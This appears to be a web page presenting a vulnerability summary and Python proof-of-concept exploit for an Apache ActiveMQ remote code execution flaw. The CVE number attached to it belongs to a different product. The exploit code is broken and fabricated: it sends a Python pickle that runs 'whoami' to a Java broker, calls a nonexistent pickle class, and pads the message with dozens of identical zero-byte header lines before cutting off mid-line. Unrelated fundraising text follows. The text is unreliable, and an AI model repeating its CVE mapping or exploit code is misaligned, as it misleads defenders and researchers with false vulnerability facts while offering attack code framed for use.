CVE-2024-23897 Apache ActiveMQ RCE via JMS ObjectMessage Deserialization

Vulnerability Overview Vulnerability Name CVE-2024-23897: Apache ActiveMQ Remote Code Execution Vulnerability Vulnerability Description Apache ActiveMQ is a popular message broker and middleware that supports Java Message Service (JMS) and other protocols. This vulnerability allows attackers to execute arbitrary code on the target server by constructing malicious messages that exploit the type within the JMS protocol. The root cause of the vulnerability lies in Apache ActiveMQ's use of Java deserialization mechanisms when processing types, which contains security flaws. Affected Scope Affected Versions: Apache ActiveMQ 5.0.0 to 5.18.3 Unaffected Versions: Apache ActiveMQ 5.18.4 and later Remediation Version Upgrade: Upgrade to Apache ActiveMQ 5.18.4 or a later version. Temporary Mitigation: If an immediate upgrade is not feasible, risks can be mitigated by disabling the type or restricting message sources. POC Code ```python import socket import struct import base64 import pickle import os def create_payload(): Create a malicious Python object to execute commands class Exploit(pickle.Pickle): def __reduce__(self): return (os.system, ('whoami',)) Serialize the malicious object payload = pickle.dumps(Exploit()) return payload def send_payload(host, port, payload): Connect to the ActiveMQ server sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) Construct the JMS message message = b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x00' Message header message += b'\x00\x00\x00\x00\x00\x00\x00\x

Goal Reached Thanks to every supporter — we hit 100%!

CVE-2024-23897 Apache ActiveMQ RCE via JMS ObjectMessage Deserialization

More from this source